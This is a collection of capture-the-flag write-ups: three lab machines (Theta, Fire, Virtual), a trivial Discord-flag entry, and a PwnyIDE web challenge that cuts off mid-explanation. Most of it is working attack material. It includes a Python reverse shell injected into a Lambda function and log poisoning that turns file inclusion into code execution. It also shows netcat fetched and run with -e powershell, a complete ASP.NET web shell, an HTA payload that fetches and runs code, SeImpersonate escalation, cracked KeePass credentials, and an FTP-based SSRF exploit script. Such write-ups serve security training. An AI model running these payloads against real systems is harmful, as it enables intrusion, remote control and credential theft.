## Theta ```$ nmap -sS -sV -Pn -p- -T5 -n 10.129.173.188 Nmap scan report for 10.129.173.188Host is up (0.025s latency).Not shown: 65533 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)4566/tcp open kwtc?``` The tcp port 4566 was uncommon, we directly started to check what was hosted on it: ```bash$ curl 10.129.173.188:4566 -v * Trying 10.129.173.188:4566...* Connected to 10.129.173.188 (10.129.173.188) port 4566 (#0)> GET / HTTP/1.1> Host: 10.129.173.188:4566> User-Agent: curl/7.74.0> Accept: */*> * Mark bundle as not supporting multiuse< HTTP/1.1 404 < content-type: text/html; charset=utf-8[...]< server: hypercorn-h11< * Closing connection 0{"status": "running"}``` We saw it was hosted by `hypercorn-h11` which is a self-hosted AWS platform. We next tried to list all the enabled features: ```bash$ curl 10.129.173.188:4566/health -v * Trying 10.129.173.188:4566...* Connected to 10.129.173.188 (10.129.173.188) port 4566 (#0)> GET /health HTTP/1.1> Host: 10.129.173.188:4566> User-Agent: curl/7.74.0> Accept: */*> * Mark bundle as not supporting multiuse< HTTP/1.1 200 < content-type: application/json[...]< server: hypercorn-h11< * Closing connection 0{"services": {"lambda": "running", "logs": "running", "cloudwatch": "running"}, "features": {"persistence": "disabled", "initScripts": "initialized"}}``` From there, we started by trying to see if we could access lambda features anonymously. To do so, we used the `aws` CLI: ```bash$ aws configure AWS Access Key ID [None]: aAWS Secret Access Key [None]: aDefault region name [None]: aDefault output format [None]: json``` We listed the available lambda functions: ```bash$ aws lambda --endpoint-url http://10.129.173.188:4566 list-functions { "Functions": [ { "FunctionName": "billing", "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:billing", "Runtime": "python3.8", "Role": "arn:aws:iam::012351735804:role/billing_mgr", "Handler": "lambda_function.lambda_handler", "CodeSize": 320, "Description": "", "Timeout": 3, "LastModified": "2021-07-26T20:30:12.626+0000", "CodeSha256": "axGTZ4HEPBRMdbOYcTXdsnAjW6fSe3mBLZIugCLSsEc=", "Version": "$LATEST", "VpcConfig": {}, "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "8818a12d-a2ff-44ab-bb9a-761bb05dcb27", "State": "Active", "LastUpdateStatus": "Successful", "PackageType": "Zip" } ]}``` From there, we saw a single registered function publicly available. We then requested all the details about this lambda function: ```bash$ aws lambda --endpoint-url http://10.129.173.188:4566 get-function --function-name billing { "Configuration": { "FunctionName": "billing", "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:billing", "Runtime": "python3.8", "Role": "arn:aws:iam::012351735804:role/billing_mgr", "Handler": "lambda_function.lambda_handler", "CodeSize": 320, "Description": "", "Timeout": 3, "LastModified": "2021-07-26T20:30:12.626+0000", "CodeSha256": "axGTZ4HEPBRMdbOYcTXdsnAjW6fSe3mBLZIugCLSsEc=", "Version": "$LATEST", "VpcConfig": {}, "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "8818a12d-a2ff-44ab-bb9a-761bb05dcb27", "State": "Active", "LastUpdateStatus": "Successful", "PackageType": "Zip" }, "Code": { "Location": "http://10.129.173.188:4566/2015-03-31/functions/billing/code" }, "Tags": {}}``` Then, we downloaded the function's code: ```bash$ wget http://10.129.173.188:4566/2015-03-31/functions/billing/code -O code.zip[...]2021-07-26 22:44:37 (1.83 MB/s) - ‘code.zip’ saved [320/320] $ unzip code.zipArchive: code.zip inflating: lambda_function.py $ cat lambda_function.py import json def lambda_handler(event, context):# Billing api logic return { 'statusCode': 200, 'body': json.dumps('Still in development') }``` We deployed a new version that included a reverse shell on the function's code: ```bash$ cat lambda_function.py import socket,subprocess,os,pty def lambda_handler(event, context): # Billing api logic s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.65",9999)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/sh") return { 'statusCode': 200, 'body': 'end' } $ zip code.zip lambda_function.py adding: lambda_function.py (deflated 36%) $ aws lambda --endpoint-url http://10.129.173.188:4566 update-function-code --function-name billing --zip-file fileb://code.zip{ "FunctionName": "billing", "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:billing", "Runtime": "python3.8", "Role": "arn:aws:iam::012351735804:role/billing_mgr", "Handler": "lambda_function.lambda_handler", "CodeSize": 427, "Description": "", "Timeout": 3, "LastModified": "2021-07-26T20:30:12.626+0000", "CodeSha256": "5HTXA3MBTBtpaNm1Zs8WatuqTdGkTgcZeNt8Jy+ROhU=", "Version": "$LATEST", "VpcConfig": {}, "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "8818a12d-a2ff-44ab-bb9a-761bb05dcb27", "State": "Active", "LastUpdateStatus": "Successful", "PackageType": "Zip"}``` Finally, we triggered the new version of the function and we received a connect-back from the virtual machine: ```bash$ aws lambda --endpoint-url http://10.129.173.188:4566 invoke --function-name billing output.log $ nc -nlvp 9999listening on [any] 9999 ...connect to [10.10.14.65] from (UNKNOWN) [10.129.173.188] 38538(.venv) /tmp/localstack/zipfile.816dbcd9^Z stty raw -echofgreset (.venv) /tmp/localstack/zipfile.816dbcd9 # cat /opt/flag.txt HTB{upd4t3s_4r3_n0_m0r3_s3cur3}```
## Fire ### User flag ```bash$ nmap -sS -sV -Pn -p- -T5 -n 10.129.95.158 Nmap scan report for 10.129.95.158Host is up (0.021s latency).Not shown: 65521 closed portsPORT STATE SERVICE VERSION80/tcp open http Microsoft IIS httpd 10.0135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds?5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)8080/tcp open http Apache httpd 2.4.48 ((Win64) PHP/8.0.7)47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)49664/tcp open msrpc Microsoft Windows RPC49665/tcp open msrpc Microsoft Windows RPC49666/tcp open msrpc Microsoft Windows RPC49667/tcp open msrpc Microsoft Windows RPC49668/tcp open msrpc Microsoft Windows RPC49669/tcp open msrpc Microsoft Windows RPC49670/tcp open msrpc Microsoft Windows RPCService Info: OS: Windows; CPE: cpe:/o:microsoft:windows``` For this challenge, we were given a PHP application on the port 8080 hosted on Windows:![Home page](../img/fire_1.png) We shortly analyzed the form of the links included on the home page and we noticed a LFI (Local File Inclusion) vulnerability:```bash$ curl 'http://10.129.95.158:8080/' -s | grep '.php' -C3 </header> <form id="signup-form" method="post" action="process.php?path=submit.php"> <input type="email" name="email" id="email" placeholder="Email Address" /> <input type="submit" value="Sign Up" /> </form>``` We confirmed the vulnerability by asking for the file `C:\Ẁindows\System32\drivers\etc\hosts`. We also started fuzzing files and directories. ```bash$ ffuf -D -u http://10.129.95.158:8080/FUZZ -w ~/dicc.txt -t 10 -fc 403[...] LICENSE.txt [Status: 200, Size: 17128, Words: 2798, Lines: 64]README.TXT [Status: 200, Size: 2242, Words: 282, Lines: 67]assets [Status: 301, Size: 241, Words: 14, Lines: 8]assets/ [Status: 200, Size: 362, Words: 27, Lines: 15]images/ [Status: 200, Size: 216, Words: 19, Lines: 11]images [Status: 301, Size: 241, Words: 14, Lines: 8]index.html [Status: 200, Size: 1565, Words: 97, Lines: 46]info.php [Status: 200, Size: 66067, Words: 3239, Lines: 705]``` The file `info.php`, that was serving `phpinfo()` caught our attention. We first though we should exploit the race between the path of temporary uploaded files (disclosed by `phpinfo()`) and the LFI vulnerability in order to make the application include our temporary uploaded `PHP` file. However, it turned out we could also include the Apache access logs: ```bash $ curl 'http://10.129.95.158:8080/process.php?path=C:/Apache24/logs/access.log' -s | head 10.10.14.9 - - [06/Jul/2021:01:16:28 -0700] "GET / HTTP/1.1" 200 156510.10.14.9 - - [06/Jul/2021:01:30:08 -0700] "GET /process.php?path=c:\\windows\\win.ini HTTP/1.1" 200 9210.10.14.9 - - [06/Jul/2021:01:36:41 -0700] "GET /process.php?path=c:\\windows\\win.ini HTTP/1.1" 200 9210.10.14.9 - - [06/Jul/2021:01:36:57 -0700] "GET /process.php?path=\\\\10.10.14.9\\aSD HTTP/1.1" 200 -10.10.14.9 - - [06/Jul/2021:01:59:14 -0700] "GET /process.php?path=\\\\10.10.14.9\\aSD HTTP/1.1" 200 -10.10.14.9 - - [06/Jul/2021:03:11:25 -0700] "GET /process.php?path=\\\\10.10.14.9\\aSD HTTP/1.1" 200 -10.10.14.9 - - [06/Jul/2021:03:12:43 -0700] "GET / HTTP/1.1" 200 156510.10.14.9 - - [06/Jul/2021:03:54:16 -0700] "GET /process.php?path=\\\\10.10.14.9\\f\\cmd.php HTTP/1.1" 200 -10.10.14.9 - - [06/Jul/2021:03:58:06 -0700] "GET / HTTP/1.1" 200 156510.10.14.9 - - [06/Jul/2021:03:58:07 -0700] "GET /assets/css/main.css HTTP/1.1" 200 22801``` In that case, we decided to poison the access logs and make the application include it to execute arbitrary PHP code. As only the requested path was reflected on the access logs, we poisonned the logs by using PHP shorter tags with a spaceless payload: ```bashGET /?path= HTTP/1.1Host: 10.129.164.169:8080``` We could then execute arbitrary commands by making the application include the poisoned logs: ```bash$ curl 'http://10.129.95.158:8080/process.php?path=C:/Apache24/logs/access.log&cmd=whoami' -s | tail -n1 10.10.14.65 - - [26/Jul/2021:15:42:40 -0700] "GET /process.php?path=fire\dev``` From there, we retrieved the user flag: ```bashGET /process.php?path=C:/Apache24/logs/access.log&cmd=type+C:\Users\dev\Desktop\user.txt HTTP/1.1Host: 10.129.164.169:8080 HTTP/1.1 200 OKDate: Sat, 24 Jul 2021 14:08:58 GMTServer: Apache/2.4.48 (Win64) PHP/8.0.7X-Powered-By: PHP/8.0.7Content-Length: 6217Connection: closeContent-Type: text/html; charset=UTF-8[...]10.10.14.65 - - [24/Jul/2021:07:03:50 -0700] "GET /process.php?path=HTB{DoN7_S7e4L_My_N7lm}``` ### Root flag Before searching for the next steps, we launched a reverse shell by downloading and executing a pre-built netcat: ```$ python3 -m http.server 8080 --bind 10.10.14.65Serving HTTP on 10.10.14.65 port 8080 (http://10.10.14.65:8080/) ...10.129.95.158 - - [27/Jul/2021 00:47:57] "GET /nc.exe HTTP/1.1" 200 - GET /process.php?path=C:/Apache24/logs/access.log&cmd=<@urlencode>powershell curl http://10.10.14.65:8080/nc.exe -o nc.exe<@/urlencode> HTTP/1.1Host: 10.129.164.169:8080 GET /process.php?path=C:/Apache24/logs/access.log&cmd=<@urlencode>nc.exe 10.10.14.65 9999 -e powershell.exe<@/urlencode> HTTP/1.1Host: 10.129.164.169:8080 $ nc -nlvp 9999listening on [any] 9999 ...connect to [10.10.14.65] from (UNKNOWN) [10.129.95.158] 49676Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Apache24\htdocs> ``` The current user did not have useful privileges, so we decided to search for running services and we noticed the `Firebird` service: ```bashPS C:\Program Files> dirdir Directory: C:\Program Files Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 7/5/2021 7:18 AM Apache Software Foundation d----- 7/5/2021 6:59 AM Common Files d----- 7/5/2021 4:35 AM Firebird PS C:\Program Files\Firebird> netstat -aonnetstat -aon Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 888[...] TCP 10.129.95.158:139 0.0.0.0:0 LISTENING 4 TCP 10.129.95.158:8080 10.10.14.65:59178 CLOSE_WAIT 2076 TCP 10.129.95.158:49676 10.10.14.65:9999 ESTABLISHED 4692 TCP [::]:80 [::]:0 LISTENING 4 TCP [::]:135 [::]:0 LISTENING 888 TCP [::]:445 [::]:0 LISTENING 4 TCP [::]:3050 [::]:0 LISTENING 2360``` This service was only listening on the IPv6 address and on the TCP port 3050. After reading the interesting blogpost [Firebird Database Exploitation](https://www.infosecmatter.com/firebird-database-exploitation/), we decided to exploit the firebird feature that allows creating files under the IIS web applications directory, which was `C:\inetpub\wwwroot\`. In fact, as IIS was listening on the TCP port 80, and we knew if we could execute arbitrary code under the IIS service account, we could use its `SeImpersonate` privilege in order to escalate our privileges and gain local Administrator privileges. In order to perform network pivoting and to exploit the service only listening on IPv6, we created a reverse SOCKS: ```bash$ GET /process.php?path=C:/Apache24/logs/access.log&cmd=<@urlencode>powershell curl http://10.10.14.65:8080/revsocks.exe -o revsocks.exe<@/urlencode> HTTP/1.1Host: 10.129.164.169:8080 $ ./revsocks -lister 10.10.14.65:9090 -pass 24098219308429084219084 $ GET /process.php?path=C:/Apache24/logs/access.log&cmd=<@urlencode>revsocks.exe -connect 10.10.14.65:9090 -pass [...]<@/urlencode> HTTP/1.1Host: 10.129.164.169:8080``` From there, we installed the `firebird` SQL shell and we noticed the default credentials were working: ```bash$ revsocks -listen 0.0.0.0:9090 -pass [...] $ apt install firebird3.0-utils $ cat proxychains.conf[...]socks5 127.0.0.1 1080 $ proxychains isql-fb SQL> CONNECT [::1]/3050:a user 'SYSDBA' password 'masterkey';[proxychains] Strict chain ... 127.0.0.1:1080 ... ::1:3050 ... OK[proxychains] Strict chain ... 127.0.0.1:1080 ... ::1:3050 ... OKStatement failed, SQLSTATE = 08001I/O error during "CreateFile (open)" operation for file "a"-Error while trying to open file-The system cannot find the file specified. SQL> ``` We then used the database differential backup mode of `Firebird`, as stated in the blogpost, in order to make the service create a file on the IIS working directory that contained an [ASP.net web shell](https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx): ```bash$ proxychains isql-fb > CONNECT '[::1]/3050:C:\non-existent-file33' user 'SYSDBA' password 'masterkey';[proxychains] Strict chain ... 127.0.0.1:1080 ... ::1:3050 ... OK[proxychains] Strict chain ... 127.0.0.1:1080 ... ::1:3050 ... OKALTER DATABASE END BACKUP;ALTER DATABASE DROP DIFFERENCE FILE;DROP DATABASE; CREATE DATABASE '[::1]/3050:C:\non-existent-file33' user 'SYSDBA' password 'masterkey';[proxychains] Strict chain ... 127.0.0.1:1080 ... ::1:3050 ... OK[proxychains] Strict chain ... 127.0.0.1:1080 ... ::1:3050 ... OKCREATE TABLE a( x blob);ALTER DATABASE ADD DIFFERENCE FILE 'C:\inetpub\wwwroot\foo242424.aspx';ALTER DATABASE BEGIN BACKUP;INSERT INTO a VALUES (' <%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c "+arg; psi.RedirectStandardOutput = true; psi.UseShellExecute = false; Process p = Process.Start(psi); StreamReader stmrdr = p.StandardOutput; string s = stmrdr.ReadToEnd(); stmrdr.Close(); return s;}void cmdExe_Click(object sender, System.EventArgs e){ Response.Write(""); Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text))); Response.Write("");}</script><HTML><HEAD><title>awen asp.net webshell</title></HEAD><body ><form id="cmd" method="post" runat="server"><asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox><asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button><asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label></form></body></HTML> ');COMMIT;EXIT;``` Once the backup was created, the web shell was created and we were able to execute arbitrary commands as the IIS user: ![Web shell](../img/fire_2.png) We then created a reverse shell using the same netcat pre-built binary: ```bash$ nc -nlvp 8888listening on [any] 8888 ...connect to [10.10.14.65] from (UNKNOWN) [10.129.95.158] 49683Microsoft Windows [Version 10.0.17763.1999](c) 2018 Microsoft Corporation. All rights reserved.c:\windows\system32\inetsrv> ``` Finally, we decided to use the [Print Spoofer technique](https://github.com/itm4n/PrintSpoofer) in order to obtain and reuse a system user token to escalate our privileges by using `SeImpersonate`: ```bashc:\windows\system32\inetsrv> cd C:\Windows\Temp c:\windows\system32\inetsrv> powershell curl http://10.10.14.65:8080/printspoof.exe -o pspoof.exe C:\Windows\Temp>pspoof.exe -i -c powershell.exepspoof.exe -i -c powershell.exe[+] Found privilege: SeImpersonatePrivilege[+] Named pipe listening...[+] CreateProcessAsUser() OKWindows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Windows\system32> whoamiwhoamint authority\systemPS C:\Windows\system32> type C:/Users/Administrator/Desktop/root.txttype C:/Users/Administrator/Desktop/root.txtHTB{Ph0EN1X_R1SEN_Fr0M_7he_4sHeS} ```
## Virtual ### User flag ```bash$ nmap -sS -sV -Pn -n -p- -T5 10.129.1.26 Nmap scan report for 10.129.1.26Host is up (0.023s latency).Not shown: 65522 closed portsPORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.48 ((Win64) PHP/8.0.8)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds?5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)49664/tcp open msrpc Microsoft Windows RPC49665/tcp open msrpc Microsoft Windows RPC49666/tcp open msrpc Microsoft Windows RPC49667/tcp open msrpc Microsoft Windows RPC49668/tcp open msrpc Microsoft Windows RPC49669/tcp open msrpc Microsoft Windows RPC49670/tcp open msrpc Microsoft Windows RPCService Info: OS: Windows; CPE: cpe:/o:microsoft:windows``` For this challenge, we were given a web application listening on the port 8080, hosted on Windows, that provided a contact form with the indication "`We usually respond to queries after a few minutes`":![Virtual web](../img/virtual_1.png) We noticed we could send arbitrary links that ended being browsed by Internet Explorer. For example, by submitting the form with the message `http:///10.10.14.65:8080/aa`, we received the following request:```bash$ nc -nlvp 8080 GET /aa HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)Host: 10.10.14.65:8080Connection: Keep-Alive``` After playing a bit with JavaScript, we tried to provide an HTML Application (HTA) to Internet explorer, and we were surprised it worked. We then submitted another HTML Application that downloaded and executed a pre-built *netcat* binary in order to spawn a reverse shell on the box: ```bash$ cat index.hta <html><head><script language="VBScript"> Sub RunProgram Set objShell = CreateObject("Wscript.Shell") objShell.Run "powershell curl http://10.10.14.65:8080/nc.exe -o C:/Windows/Temp/nc.exe; C:/Windows/Temp/nc.exe 10.10.14.65 9999 -e powershell.exe" End SubRunProgram()</script></head><body> Nothing to see here..</body></html> $ python3 -m http.server 8080 POST / HTTP/1.1Host: 10.129.1.26Content-Type: application/x-www-form-urlencodedContent-Length: 86 name=b&email=aa%40aa.com&subject=a&message=http%3A%2F%2F10.10.14.65%3A8080%2Findex.hta``` Once the application was ran by Internet Explorer, we received a reverse shell. We noticed we were already local Administrator. However, there was only a user flag on the file system: ```bash$ nc -nlvp 9999listening on [any] 9999 ...connect to [10.10.14.65] from (UNKNOWN) [10.129.1.26] 49632Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Apache24\htdocs>> whoami /allwhoami /all USER INFORMATION----------------User Name SID ===================== ============================================virtual\administrator S-1-5-21-1926016034-1676465966-846418798-500 GROUP INFORMATION-----------------Group Name Type SID Attributes ============================================================= ================ ============================================= ===============================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Mandatory group, Enabled by default, Enabled group VIRTUAL\docker-users Alias S-1-5-21-1926016034-1676465966-846418798-1000 Mandatory group, Enabled by default, Enabled group BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner[...] PS C:\Users\dev\Desktop> type user.txttype user.txtHTB{9077a_l0ve_H7a}``` ### Root flag When searching for the root flag, we noticed multiple interesting files and directories: * C:\Users\dev\Documents\\Database.kdbx* C:\Users\Administrator\\.docker* C:\Users\Administrator\\.minikube* C:\Users\Administrator\\.VirtualBox The KeePass database was protected by a password so we cracked it using john: ```bash$ keepass2john Database.kdbx > hashes.lst $ john --wordlist="SecLists/Passwords/Leaked-Databases/rockyou-75.txt" hashes.lst Using default input encoding: UTF-8Loaded 1 password hash (KeePass [SHA256 AES 32/64])Cost 1 (iteration count) is 60000 for all loaded hashesCost 2 (version) is 2 for all loaded hashesCost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashesWill run 3 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statuspurple (Database)1g 0:00:00:00 DONE (2021-07-27 03:16) 5.555g/s 200.0p/s 200.0c/s 200.0C/s sunshine..justinUse the "--show" option to display all of the cracked passwords reliablySession completed``` The database contains a custom entry named `Docker Server`: ```bash$ keepassxc-cli export Database.kdbx -f csvEnter password to unlock Database.kdbx: purple "Group","Title","Username","Password","URL","Notes""Database","Sample Entry","User Name","Password","https://keepass.info/","Notes""Database","Sample Entry #2","Michael321","12345","https://keepass.info/help/kb/testform.html","""Database/Network","Docker Server","dev","VeryStrongPassword1!","",""``` We listed the VirtualBox machines belonging to the Administrator user: ```bashPS C:\Program Files\Oracle\VirtualBox> ./VBoxManage list vms"Docker" {11bdf380-f3ae-422e-92f7-6f0f816743d1}``` As we noticed a Docker VM running on VirtualBox, we decided to set up an RDP access in order to easily interact with the VM. To do so, we enabled RDP and we changed the local Administrator password: ```bashPS> net user Administrator Test1234net user Administrator Test1234The command completed successfully. PS> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f``` Finally, we logged in using the RDP access, and we authenticated as `dev` on the Docker VM's console with the password `VeryStrongPassword1!` that was stored on the KeePass: ```bash$ xfreerdp /u:Administrator /p:'Test1234' /v:10.129.1.26[03:31:09:044] [9943:9944] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state[03:31:09:044] [9943:9944] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr[03:31:09:044] [9943:9944] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpsnd[03:31:09:044] [9943:9944] [INFO][com.freerdp.client.common.cmdline] - loading channelEx cliprdr``` ![Docker VM graphical console](../img/virtual_2.png) The `dev` user was on the sudoers so it was allowed to escalate its privileges to `root` inside the VM and to read the root flag: ![Docker VM graphical console logged in](../img/virtual_3.png) From the screen, we read `HTB{v80X_G0t_m4n4g3d}`.
# Join our DiscordSolved By: RJCyber # Description:https://discord.gg/uiuctf # How to "Capture the Flag":The flag can be found in #announcements after joining the discord server provided in the description. # Flag:```uiuctf{y0u_j01n3d_tH3_dIsCorD!!!}```
# PwnyIDE - UIUCTF 2021 ## Intro #### What is pwnyIDE?Pwny IDE is a good-looking advanced IDE that lets you write HTML/CSS code and watch the changes in real-time! Pretty cool right? > JS is not supported :) #### Start of the journey This challenge was one of the unsolved challenges in [UIUCTF 2021](https://ctftime.org), and it was also pretty fun! The author decided to not release the solution after the contest and he also ran a bounty program ($50 to the first solver). Luckily [we](https://ctftime.org/team/130817) could solve it after the CTF and we won both the contest and the bounty! ## How it works Features of this IDE: - Pretty theme- Account management - Login/Register buttons ( who needs sign-out ? )- Code sharing- source codes management via FTP which is limited to internal users- API endpoint that yields something called flag which is also limited to internal users- You can report your codes to the admin - A TCP proxy that forwards connections to FTP server with a small delay #### Pretty theme This IDE is beautiful!!! ![](https://i.imgur.com/ltzovPl.png) #### Account management When we register on the website, it assigns us a random uid, after that it creates a folder for us in `file:///files` folder. It will be used to save our code. ```javascriptconst uid = randomBytes(16).toString("hex")fs.mkdirSync(`/files/${uid}/`)``` #### Code sharing We can save and share our code! It will be saved in a file named `file:///files/${uid}/file` and anybody can access it at `http://website/workspace/${uid}`. Some facts about this endpoint: - Response's content-type is `text/html`- Response contains a strict [csp](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) ( will be explained later )- We have full control over the response's body ```javascript res.setHeader("Content-Security-Policy", "sandbox") res.setHeader("Content-Type", "text/html; charset=UTF-8") if (!fs.existsSync(`/files/${req.params.uid}/file`)) { res.send(`<html>\n<head>\n <title>Test</title>\n</head>\n<body>\n <div>\n Hello World\n </div>\n</body>\n</html>`) return } const data = fs.readFileSync(`/files/${req.params.uid}/file`) res.send(data)``` #### FTP server The FTP server is written in js and uses [ftpd](https://github.com/nodeftpd/nodeftpd). It's listening on `127.0.0.1:21` so we can't access it from outside. It uses HTTP server's users for authentication and the authenticated user can view and edit files in his folder (`file:///files/${user.uid`). Also, The `PASV` command is disabled. ```javascriptconn._command_PASV = () => {conn.respond("502 PASV mode disabled")}``` #### flag endpoint Only requests from localhost with `Sec-Pro-Hacker: 1` header can access the flag. ```javascriptapp.get( "/ssrf", async (req, res) => { res.setHeader("Content-Type", "text/plain; charset=UTF-8") if (req.socket.remoteAddress === "127.0.0.1" && req.header("Sec-Pro-Hacker") === "1") res.send(process.env.FLAG) else res.send("glhf ;)") })``` #### Reporting We can report our codes on the website to the admin, and he ( headlessChrome/93 ) will check it out. Also, there is a check that checks if the URL matches the following regexp. ```regexp^http:\/\/pwnyide.chal.uiuc.tf\/workspace\/[a-f0-9]{32}$``` #### TCP proxy An app called [tcpslow](https://github.com/gx0r/tcpslow) is running on the server that simply forwards connections from `127.0.0.1:8021` to FTP server with a 500ms delay. ```bashtcpslow -l 8021 -f 21 -d 500``` ## Where to start? When I started to work on this challenge, a hint was already released. > HINT: The first step is to be able to execute arbitrary FTP commands That made me think that it should be easy to send FTP commands because they have given that hint about it and also thought that it shouldn't be hard to do that with a browser. Well, I was wrong :) it took me about 8 hours ( or more? ) to figure out how to do that. Eventually, I started to look for things I can do with arbitrary FTP commands. #### Some guesses FTP servers are nice targets when we have SSRF vulnerability, Some challenges have used this concept before, like [this](https://blog.zeddyu.info/2020/04/20/Plaid-CTF-2020-Web-1/) or [this](https://balsn.tw/ctf_writeup/20200418-plaidctf2020/#make-ssrf-great-again-with-active-ftp) and [this](https://github.com/dfyz/ctf-writeups/tree/master/hxp-2020/resonator). We have a browser, so the attack should be like `chrome attacks FTPServer and FTPServer attacks HTTPServer`. When I was looking at the source code for the first time and then I saw the FTP server, I thought that it's gonna be the same PORT/PASV trick again, but the `/ssrf` endpoint blew my mind. flag was in the response lol. All writeups that I have had seen have used FTP servers to launch attacks against another service. I had no idea if it was possible to read the response using FTP. #### What's FTP active mode and passive mode Read [this](https://slacksite.com/other/ftp.html#actexample). > TL;DR: Using the PORT command, we can make the FTP Server read a file and send its content to a host:port. ## Reading the flag with FTP #### Sending requests to HTTP Server The following script will login and send our code ( which we have full control over it ) to HTTP Server. It first saves the payload, then it gets the uid ( name of the folder which our payload is inside it ), Then it connects to the FTP socket ( pretending SSRF ), and then it connects to `127.0.0.1:1337` and will send our payload to it. ```python#!/usr/bin/env python3from pwn import *import requests USERNAME = "meme1337"PASSWORD = "meme1337"TARGET_IP = "127.0.0.1"TARGET_PORT = 1337PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" s = requests.session()# Login to websites.post(f"http://{TARGET_IP}:{TARGET_PORT}/login",data={"username":USERNAME,"password":PASSWORD})# Save the payloads.post(f"http://{TARGET_IP}:{TARGET_PORT}/save",files={"file":PAYLOAD})SESS_ID = s.cookies.get_dict()["uid"][4:4+32] p = remote("127.0.0.1","8021")# Loginp.sendafter("\n",f"USER {USERNAME}\r\n")p.sendafter("\n",f"PASS {PASSWORD}\r\n")# Connect to 127.0.0.1:1337 - ((5 << 8) + 57) == 1337p.sendafter("\n","PORT 127,0,0,1,5,57\r\n")# Send the filep.sendafter("\n",f"RETR /files/{SESS_ID}/file\r\n")p.interactive()``` #### Reading the response I was wondering what happens if I send a STOR command right after RETR, Maybe some magics happen and the response will be written to the file ? So i just added `STOR /files/{SESS_ID}/file\r\n` right after the `RETR`command. ```pythonp.sendafter("\n",f"RETR /files/{SESS_ID}/file\r\n")p.sendafter("\n",f"STOR /files/{SESS_ID}/file\r\n")p.interactive()``` and it didn't work. ```root@d3575742476c:/files/70a375e99500d557b04b34c800b04a8c# head fileGET /ssrf HTTP/1.1Host: dddd.comSec-Pro-Hacker: 1``` Then I tried again with sending many requests instead of one. ```pythonPAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" * 3000``` It worked this time! ```root@d3575742476c:/files/70a375e99500d557b04b34c800b04a8c# head fileHTTP/1.1 200 OKX-Powered-By: ExpressContent-Type: text/plain; charset=utf-8Content-Length: 16ETag: W/"10-L48XoI4zhfnfpVEEjnlYZ16NdMY"Date: Wed, 04 Aug 2021 11:19:23 GMTConnection: keep-aliveKeep-Alive: timeout=5 uiuctf{REDACTED}HTTP/1.1 200 OK``` #### Why it worked? Both `RETR` and `STOR` commands use the following function to get a socket to read/write. ```jsFtpConnection.prototype._whenDataReady = function(callback) { var self = this; if (self.dataListener) { // how many data connections are allowed? // should still be listening since we created a server, right? if (self.dataSocket) { self._logIf(LOG.DEBUG, 'A data connection exists'); callback(self.dataSocket); } else { self._logIf(LOG.DEBUG, 'Currently no data connection; expecting client to connect to pasv server shortly...'); self.dataListener.once('ready', function() { self._logIf(LOG.DEBUG, '...client has connected now'); callback(self.dataSocket); }); } } else { // Do we need to open the data connection? if (self.dataSocket) { // There really shouldn't be an existing connection self._logIf(LOG.DEBUG, 'Using existing non-passive dataSocket'); callback(self.dataSocket); } else { 